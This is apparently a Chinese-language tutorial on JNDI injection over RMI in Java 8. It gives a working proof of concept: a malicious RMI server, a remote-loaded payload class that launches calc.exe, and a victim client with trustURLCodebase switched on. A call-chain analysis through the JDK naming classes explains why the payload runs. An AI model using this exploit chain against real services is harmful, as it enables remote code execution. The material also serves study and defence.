Java命名和目錄接口（JNDI）是一種Java API，類似于一個索引中心，它允許客戶端通過name發現和查找數據和對象。這些對象可以存儲在lDAP，DNS中，或者RMI
代碼格式如下：
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup("rmi://127.0.0.1:1099/Exploit");
JNDI注入
JNDI注入就是當jndiname變量可控時導致遠程class文件被加載，導致遠程代碼執行
當前環境java8u121
Client.java程序(受害者)
package org.joychou.jndiInjection;
import javax.naming.InitialContext;
import javax.naming.Context;
public class Client {
public static void main(String[] args) throws Exception{
String uri = "rmi://127.0.0.1:1099/aa";
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
Server.java（服務器端）
package org.joychou.jndiInjection;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
registry.bind("aa", refObjWrapper);
}
}
ExecTest.java(命令執行的類)
//package org.joychou.jndiInjection;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
public class ExecTest {
public ExecTest() throws IOException,InterruptedException{
String cmd="calc.exe";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}
private static void printMessage(final InputStream input) {
// TODO Auto-generated method stub
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null)
{
System.out.println(line);
}
}catch (IOException e){
e.printStackTrace();
}
}
}).start();
}
}
編譯ExecTest.java，并開啟http服務，然后開啟Server.java，然后運行Client.java
image.png
調用鏈分析
//InitialContext.java
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
getURLOrDefaultInitCtx函數，這個類會根據輸入的name尋找合適的URL context，根據我們輸入的變量中會返回
rmiURLContext對象（繼承自GenericURLContext類）
protected Context getURLOrDefaultInitCtx(String name)
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
String scheme = getURLScheme(name);
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);
if (ctx != null) {
return ctx;
}
}
return getDefaultInitCtx();
}
在返回rmiURLContext對象之后會繼而調用該對象的lookup方法，該方法對rmi地址進行解析
//GenericURLContext.java
public Object lookup(String var1) throws NamingException {
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//對rmi地址進行解析
Context var3 = (Context)var2.getResolvedObj();// 返回注冊上下文RegistryContext
Object var4;
try {
var4 = var3.lookup(var2.getRemainingName()); //調用注冊上下文lookup函數查找aa對象
} finally {
var3.close();
}
return var4;
}
RegistryContext.java中的lookup在注冊器中函數尋找aa對象對應的引用
//RegistryContext.java
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));//查找aa對應的遠程引用ReferenceWrapper
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
return this.decodeObject(var2, var1.getPrefix(1)); //
}
}
decodeObject方法找到我們要生成的遠程對象
//RegistryContext.java
private Object decodeObject(Remote var1, Name var2) throws NamingException {//var1:ReferenceWrapper, var2: aa
try {
//這里會判斷我們的var1是否是remoteReference，如果是的話會進入getReference(),與服務器進行一次連接
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
Reference var8 = null;
if (var3 instanceof Reference) {
var8 = (Reference)var3;
} else if (var3 instanceof Referenceable) {
var8 = ((Referenceable)((Referenceable)var3)).getReference();
}
//java更新的一項安全機制，需要將com.sun.jndi.rmi.object.trustURLCodebase設置為true
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);//該函數根據輸入的對象和環境信息生成指定的對象
}
到此已經通過遠程請求獲取到了aa對應的ExecTest類，接下來是進行實例化
//NamingManager.java
public static Object getObjectInstance(...){//在對象工廠檢索由引用標識的對象，使用引用的工廠類名和工廠代碼庫加載到工廠的類中。
...
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);//命令執行點
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
getObjectFactoryFromReference函數通過引用將對象進行實例化
//NamingManager.java
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
try {
clas = helper.loadClass(factoryName);//在本地classpath中尋找class，代碼會進入此分支
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {//加載遠程codebase，就是我們定義的惡意RMI服務器
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
//實例化惡意的class文件
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
小缺陷
這段payload雖然能正常運行，但在運行時會報錯，我們來嘗試修改代碼修復其錯誤
Exception in thread "main" javax.naming.NamingException [Root exception is java.lang.ClassCastException: ExecTest cannot be cast to javax.naming.spi.ObjectFactory
這個報錯的觸發原因是我們實例化的ExecTest類無法被轉換為ObjectFactory類
//NamingManager.java
//實例化惡意的class文件
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;//執行該語句時進行類型強制轉換報錯
所以我們這里將我們的惡意類重寫為繼承自ObjectFactory的類即可，新版payload如下：
//package org.joychou.jndiInjection;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class ExecTest implements ObjectFactory {
public ExecTest() throws IOException,InterruptedException{
Runtime.getRuntime().exec("calc.exe");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment) throws IOException{
Runtime.getRuntime().exec("notepad.exe");
return null;
}
}
實際上我們只需要在上述的兩個函數中任意一個寫入命令即可，上文所寫的兩個命令都會被執行。為什么會執行兩次呢？
第一次執行
//NamingManager.java
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
在調用newInstance方法實例化ExecTest類的時候會默認調用ExecTest類的無參構造方法，相當于new Exectest()，所以無參構造函數中的命令會被執行。
第二次執行
//NamingManager.java
public static Object getObjectInstance(...){//在對象工廠檢索由引用標識的對象，使用引用的工廠類名和工廠代碼庫加載到工廠的類中。
...
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);//第二次命令執行
}
在第一次執行之后會返回ObjectFactory，這樣就會調用factory類的getObjectInstance方法，從而進行了第二次命令執行
類加載順序
當前的項目結構為：
image.png
事實上，這樣結構下不需要編譯ExecTest類，也不需要開啟http服務只要開啟Server.java，運行Client.java即可執行命令
image.png
也就是說，我們其實并沒有訪問我們的遠程類就完成了攻擊，作為對比測試，我們將Client.java和ExecTest.java分開運行，不過運行之后沒有任何命令被執行。
image.png
我們在剛才的Server.java服務器端編譯ExecTest.java文件，并開啟http服務
D:\Workspace\java\JndiRmi\src\main\java>"c:\Program Files\Java\jdk1.8.0_112\bin\javac.exe" ExecTest.java
D:\Workspace\java\JndiRmi\src\main\java>python -m SimpleHTTPServer 8081
Serving HTTP on 0.0.0.0 port 8081 ...
這樣我們開啟Server.java，然后開啟另一個目錄下的Client.java即可遠程加載類
image.png
查看http服務端可以看到我們的遠程類被遠程加載了
D:\Workspace\java\JndiRmi\src\main\java>python -m SimpleHTTPServer 8081
Serving HTTP on 0.0.0.0 port 8081 ...
127.0.0.1 - - [19/Dec/2021 13:57:25] "GET /ExecTest.class HTTP/1.1" 200 -
為什么Client位置的不同會導致類的加載位置不同呢？將Client.java單獨和與ExecTest.java對比運行：
image.png
從調試可以看出，Client.java在實例化類的時候會先使用本地的類加載器進行加載，如果本地找不到的話才會找遠程的代碼庫(codebase)進行加載，左側在本地可以找到ExecTest類進行加載，而在右側的本地找不到ExecTest類，會通過RMI遠程加載，但是因為我們沒開啟http服務，所以找不到ExecTest類，導致實例化失敗，無法命令執行。
所以，只要將ExecTest.java類與Client.java放在同一目錄就不會進行遠程加載。
